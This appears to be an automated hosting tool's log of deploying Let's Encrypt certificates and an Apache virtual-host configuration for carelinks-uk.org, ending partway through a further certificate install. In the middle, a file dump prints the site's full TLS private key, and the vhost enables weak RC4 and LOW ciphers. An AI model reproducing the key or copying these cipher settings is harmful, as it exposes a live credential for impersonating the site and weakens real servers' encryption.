k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-06 06:01:13:
chmod 755 /tmp/pkp100116; /tmp/pkp100116; rm /tmp/pkp100116
2025-09-06 06:01:13:
dir=/etc/ssl/certs
2025-09-06 06:01:13:
PUT: /tmp/pkp707883
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinks-uk_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-06 06:01:13:
chmod 755 /tmp/pkp707883; /tmp/pkp707883; rm /tmp/pkp707883
2025-09-06 06:01:13:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf 44
<VirtualHost *:80>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:01:13:
PUT: /tmp/pkp438778
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks-uk_www_org.conf
TARGET=/etc/apache2/sites-enabled/carelinks-uk_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinks-uk_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf= 1'
fi
2025-09-06 06:01:13:
chmod 755 /tmp/pkp438778; /tmp/pkp438778; rm /tmp/pkp438778
2025-09-06 06:01:13:
2025-09-06 06:01:13:
PUT: /tmp/pkp611289
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-06 06:01:13:
chmod 755 /tmp/pkp611289; /tmp/pkp611289; rm /tmp/pkp611289
2025-09-06 06:01:13:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:01:13: Establishing a connection
2025-09-06 06:01:13:
PUT: /tmp/pkp615592
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-06 06:01:14:
chmod 755 /tmp/pkp615592; /tmp/pkp615592; rm /tmp/pkp615592
2025-09-06 06:01:14:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:01:14:
PUT: /tmp/pkp593788
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinks-uk_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:01:14:
chmod 755 /tmp/pkp593788; /tmp/pkp593788; rm /tmp/pkp593788
2025-09-06 06:01:14:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf 1415
<VirtualHost *:80>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks-uk.org
ServerAlias www.carelinks-uk.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks-uk/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks-uk/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:01:14:
PUT: /tmp/pkp844062
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:01:14:
chmod 755 /tmp/pkp844062; /tmp/pkp844062; rm /tmp/pkp844062
2025-09-06 06:01:14:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt 5381
63:0c:fa:25:e5:8b:2e:82:34:41:f2:dc:08:54:3a:f7
-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBSoLaffqNoD7lTMZCCn3gdOFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTA2MDUwMjQyWhcNMjUxMjA1MDUwMjQxWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA4ukJjW7F5xaBQ17MWAE5C8/BT0H0XlkgqStCKGf1YeCS8igcdOUGAZ1CR/8U
llWmvBH/BxtcVkMmQ7lmU2yrgSixRSGnImA1/Xop9WKh2ivBlS+4g+G7a8hSdmGN
PX9hvkiHOffzrPJ8qaGWl8O0cIqqJLBxTdS67ZxBPukoconWB1TffhUuMKAKx6/J
aWCWg+0TGB6+W2TsFwzBR6b4gBFR1gpTa/7BHWaDkNPRzXkJzAD9epgYGgzlMguO
7D+SBFcGvFKbTvfLuuw/PFIU9vVVnrowHLICHIgd2jjDUe4/HU4KPGOn49ygryg1
FXpbR80X3MwfWMhkNx188584GQIDAQABo4ICNTCCAjEwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBStn/KU2raQvPKbHG7QoA+hcUHrrTAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy11ay5vcmeC
FHd3dy5jYXJlbGlua3MtdWsub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1Ud
HwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNi5jcmwwggEEBgor
BgEEAdZ5AgQCBIH1BIHyAPAAdgCkQsUGSWBhVI8P1Oqc+3otJkVNh6l/L99FWfYn
TzqEVAAAAZkdnU5XAAAEAwBHMEUCIQCaF4/+Z5LVci6oQMes2oIfJtxd19rexdHF
gHdU01nfBAIgVRBp/q93xC9Fxf42cI4ZM1BP3GruwHHAq+ExWpBwIAYAdgDd3Mo0
ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZkdnU6/AAAEAwBHMEUCIEc0
OcjUKaoAsN6NczKvq7DvkdcRqMGL9Ev3ryAsQvsZAiEA+2x1GU1KfHlEinbYuGEF
YUEwNOkg9fWf6U7cM5UkCZUwDQYJKoZIhvcNAQELBQADggEBAFI8dlpY5xJ/iBXy
9iHu5WgmATZT8xGRIe+iYZD5ajEeDLbptvLUrSWHtRM0zzVDbHrjuOq7+cPpYFhj
IhP5yf7z2JrgxHw/ELAfleNNTN69vVMxpTV/2H8xN8AiDIES4+rPyxVz0yxoOhn/
zYb5Do+jzwhu0R4vH8Xv3DBUtv3MyWnrvPcmJBhFM7xCeQLVy43wWD/gz/JKlyx7
zQTmR3HT0XQ0eieLppEgQTiIFYJP1CInyj5ZWFZG5eol8wKUxlKJMDprjYXOQ9qH
de1xGs9lk6J7fmmYnXgH/1p5ekAIeBXQ2zWZ7Kf2E75wqwWHrE/JgtIL4bJ+r7gK
mE6wRLU=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDi6QmNbsXnFoFD
XsxYATkLz8FPQfReWSCpK0IoZ/Vh4JLyKBx05QYBnUJH/xSWVaa8Ef8HG1xWQyZD
uWZTbKuBKLFFIaciYDX9ein1YqHaK8GVL7iD4btryFJ2YY09f2G+SIc59/Os8nyp
oZaXw7RwiqoksHFN1LrtnEE+6ShyidYHVN9+FS4woArHr8lpYJaD7RMYHr5bZOwX
DMFHpviAEVHWClNr/sEdZoOQ09HNeQnMAP16mBgaDOUyC47sP5IEVwa8UptO98u6
7D88UhT29VWeujAcsgIciB3aOMNR7j8dTgo8Y6fj3KCvKDUVeltHzRfczB9YyGQ3
HXzznzgZAgMBAAECggEBAKFBFybJqB63oZktD28jP1Ujia83oeBC2rEeKt/oMTwj
iopI8yAnegM/rNDZd9n2eI2DBIgaa55qDhFm+k8jFSausnv8lHgbg4LlhFf8hiUz
n1jUFv6yNq08KU4zuVoQ4neFt4P8r9EianFqgkjMLbkk8hEsyviSy1z9BGke7T2n
XDs6JU2uJSImkNJeN03FRBrYqtzophdz3wlPojszE57OonadOaQvhZAWCFizLs2/
b876Sc7JWN9v2cbXmwuM7skBVzdAUZ2ENiHoKSqcQT7YdE1EgXK2xqKSoMpWaTKQ
8iuvsYdJLd9BKTJbZ7XNlpcrLksFuOJdRFs2YVjl2OECgYEA87TB8GSbQdzn7cXz
sDf59jhchyEjfO5hUcA+HNs5oGnINN9X0ibWgBDQ/2rGJg/GQnZIZpsVp78PCPaa
ml+YQ8sz4xq4mfz6YKy++kAQsNGnVzFvPFl4qLlHgipnyKhuohN+a5XzWXg9TI9o
iDOF7/KzkCxRGcNzww1idncrmrUCgYEA7ltgowySvdAcDDQ1yNq0dYfhYbsjCOA+
4Dd71SQeBfIxfh1+hDVlw0Q2T+04iUtEqWA9tqBvUs/vFvRReKCHi1AlPNi2nagD
W0HmBCo13v1E1IWr4DW6gzWq2bo4aAG1JYQiPQZOmDoMUDO7Lb/9TLZICNN41aya
PCHgmOMnslUCgYEAxdVZjl0NT/UU7YdBIC8Aoij0q9lx5ovYwrVtdp1b9WWJ2ano
r7dJb2K3VnCF9AXgKrm8YlbIyIinmt4deO3bPEVrlJNvgcnEMtBoo9t38SHwVy7R
Hst+0HC/pOHpqBFa5gUvHgT3LA0YrdrIv7AbrUJ3E7V2DJUGlzN5V7O72PUCgYBH
d3p4KNLuurFOL3FY8cpd2woGxZdxl9sCW2BzvcqKud2BFNLUTTZf39nxCQ2EjN7f
cg3O7jeyusnTNhofcvJxIOypW8kVaETpXc7bvNQ+Me4rUpEAPtvXb4X0llNHTAvG
XeHuLi/ukKkUew5KX2BRWe4rR0zZtFDiar3u2V0TqQKBgGEK1oPJmtcVF236YQ5x
9ye/uFPMsyHs0P5J8xVggSSINph4Or6++EOW452shaa0wvD+ZReLJ8vkEiXdqXSj
In7gxqaxjj8wTwesaIGB3ZjTT+f1LSZFB9MtmMnjRwLWXoWSvP5318C17R0irJNb
pTQNimI+TLZkk5/YOc3gFPMZ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-06 06:01:14: Establishing a connection
2025-09-06 06:01:14: Establishing a connection
2025-09-06 06:01:14:
PUT: /tmp/pkp283222
#!/bin/bash
if [ -d "/var/www/patientappsinc_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-06 06:01:15:
chmod 755 /tmp/pkp283222; /tmp/pkp283222; rm /tmp/pkp283222
2025-09-06 06:01:15:
0
2025-09-06 06:01:50: Establishing a connection
2025-09-06 06:01:51:
PUT: /tmp/pkp123506
#!/bin/bash
temp_file=$(mktemp)
TARGET=7CDF9F2FFCE67F19977AD2F2DDA28042.crt
cat > $temp_file <<'endmsg'
79:ed:38:af:4f:83:c0:b6:be:69:fc:75:fb:14:22:c1
-----BEGIN CERTIFICATE-----
MIIFOTCCBCGgAwIBAgISBR3DpV5NQTyOWwdhL+tiF4zhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzIwWhcNMjUxMjA1MDUwMzE5WjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDwNgF4wMvxJ28PNdi3Rw64PYFsZnDnWyr9QMfiUT/JN4HAZDUysiyU5+Zz
OXl+YP2r2yPe+2sskoYvTgHpg1KVhPVIsFspcVuwYUGqz4otWeBiNF8DIULCbwHl
Pg2Ro89oMPOkR01z8l8wvCEjW52N0OCKyo6eQOYZNDoCdNXoTjAJwS6ZxCuzXdY9
